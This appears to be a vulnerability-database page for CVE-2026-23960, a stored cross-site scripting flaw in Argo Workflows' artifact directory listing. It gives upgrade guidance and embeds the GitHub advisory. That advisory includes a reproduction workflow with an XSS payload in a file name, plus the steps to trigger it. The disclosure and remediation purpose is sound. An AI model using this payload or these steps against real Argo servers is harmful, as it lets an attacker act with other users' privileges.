CVE-2026-23960: Github.com/argoproj/argo workflows/v3 Cross-Site Scripting Vulnerability
HIGHCVE-2026-23960 is a HIGH cross-site scripting vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting Github.com/argoproj/argo workflows/v3 libraries in the Go ecosystem. The issue involves argo workflows affected by stored xss in the artifact directory listing. Remediation is available by upgrading affected packages to version 3.6.17, 3.7.8.
CVE-2026-23960 at a Glance
How to Fix CVE-2026-23960
To remediate this vulnerability, upgrade all affected Github.com/argoproj/argo workflows/v3 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/argoproj/argo-workflows/v3 to 3.6.17
Upgrade github.com/argoproj/argo-workflows/v3 to 3.7.8
Upgrade github.com/argoproj/argo-workflows to Latest secure release
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/argoproj/argo-workflows/v3
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-23960, inspect your project dependencies for Github.com/argoproj/argo workflows/v3:
inspect dependencies for github.com/argoproj/argo-workflows/v3
Analyze the terminal output to locate any version of Github.com/argoproj/argo workflows/v3 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.6.17), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In Github.com/argoproj/argo workflows/v3, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-23960 Affected Github.com/argoproj/argo workflows/v3 Versions
3 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/argoproj/argo-workflows/v3
|
Go |
< 3.6.17
|
3.6.17
|
|
github.com/argoproj/argo-workflows/v3
|
Go |
≥ 3.7.0
< 3.7.8
|
3.7.8
|
|
github.com/argoproj/argo-workflows
|
Go |
≤ 2.5.3-rc4
|
|
References
Frequently Asked Questions
What is CVE-2026-23960?
Which Github.com/argoproj/argo workflows/v3 versions are affected?
What version fixes CVE-2026-23960?
Is github.com/argoproj/argo-workflows/v3 affected?
Is github.com/argoproj/argo-workflows affected?
What CWE is associated with CVE-2026-23960?
How can I check Go dependencies for CVE-2026-23960?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-cv78-6m8q-ph82",
"modified" : "2026-01-22T15:39:57Z",
"published" : "2026-01-21T22:00:38Z",
"aliases" : [ "CVE-2026-23960" ],
"summary" : "Argo Workflows affected by stored XSS in the artifact directory listing",
"details" : "### Summary\nStored XSS in the artifact directory listing allows any workflow author to execute arbitrary JavaScript in another user’s browser under the Argo Server origin, enabling API actions with the victim’s privileges.\n\n### Details\nThe directory listing response in `server/artifacts/artifact_server.go` renders object names directly into HTML via `fmt.Fprintf` without escaping. Object names come from `driver.ListObjects(...)` and are attacker‑controlled when a workflow writes files into an output artifact directory.\n\nhttps://github.com/argoproj/argo-workflows/blob/9872c296d29dcc5e9c78493054961ede9fc30797/server/artifacts/artifact_server.go#L194-L244\n\n### PoC\n1. Deploy Argo Workflows:\n```\nkubectl create ns argo\nkubectl apply --server-side -f manifests/base/crds/full\nkubectl apply --server-side -k manifests/quick-start/postgres\n```\n2. Port‑forward Argo Server:\n```\nkubectl -n argo port-forward deploy/argo-server 2746:2746\n```\n3. Create the PoC workflow:\n```yml\ncat > /tmp/argo-xss.yaml <<'EOF'\napiVersion: argoproj.io/v1alpha1\nkind: Workflow\nmetadata:\n generateName: xss-artifact-test-\nspec:\n entrypoint: main\n templates:\n - name: main\n container:\n image: alpine\n command: [sh, -c]\n args:\n - |\n mkdir -p /tmp/artifacts\n touch '/tmp/artifacts/xss\"><img src=x onerror=\"alert(document.domain)\">.html'\n outputs:\n artifacts:\n - name: dir\n path: /tmp/artifacts\n archive:\n none: {}\nEOF\n```\n```\nkubectl -n argo create -f /tmp/argo-xss.yaml\n```\n4. Wait for completion:\n```\nkubectl -n argo get wf -w\n```\n5. Get the node ID:\n```\nkubectl -n argo get wf <wf-name> \\\n -o jsonpath='{range .status.nodes.*}{.id}{\"\\t\"}{.displayName}{\"\\n\"}{end}'\n```\n6. Open the listing:\n`https://localhost:2746/artifact-files/argo/workflows/<wf-name>/<node-id>/outputs/dir/`\n\n<img width=\"1220\" height=\"349\" alt=\"image\" src=\"https://github.com/user-attachments/assets/9d859826-c7cd-403b-988e-74695552944b\" />\n\n### Impact\n- The attacker creates a workflow that produces a HTML artifact that contains a HTML file that contains a script which uses XHR calls to interact with the Argo Server API.\n- The attacker emails the deep-link to the artifact to their victim. The victim opens the link, the script starts running.\n\nAs the script has access to the Argo Server API (as the victim), so may do the following (if the victim may):\n- Read information about the victim’s workflows.\n- Create or delete workflows.",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/argoproj/argo-workflows/v3"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "3.6.17"
} ]
} ]
}, {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/argoproj/argo-workflows/v3"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "3.7.0"
}, {
"fixed" : "3.7.8"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 3.7.7"
}
}, {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/argoproj/argo-workflows"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"last_affected" : "2.5.3-rc4"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/argoproj/argo-workflows/security/advisories/GHSA-cv78-6m8q-ph82"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-23960"
}, {
"type" : "WEB",
"url" : "https://github.com/argoproj/argo-workflows/commit/159a5c56285ecd4d3bb0a67aeef4507779a44e17"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/argoproj/argo-workflows"
}, {
"type" : "WEB",
"url" : "https://github.com/argoproj/argo-workflows/blob/9872c296d29dcc5e9c78493054961ede9fc30797/server/artifacts/artifact_server.go#L194-L244"
}, {
"type" : "WEB",
"url" : "https://github.com/argoproj/argo-workflows/releases/tag/v3.6.17"
}, {
"type" : "WEB",
"url" : "https://github.com/argoproj/argo-workflows/releases/tag/v3.7.8"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-79" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-01-21T22:00:38Z",
"nvd_published_at" : "2026-01-21T22:15:50Z"
}
}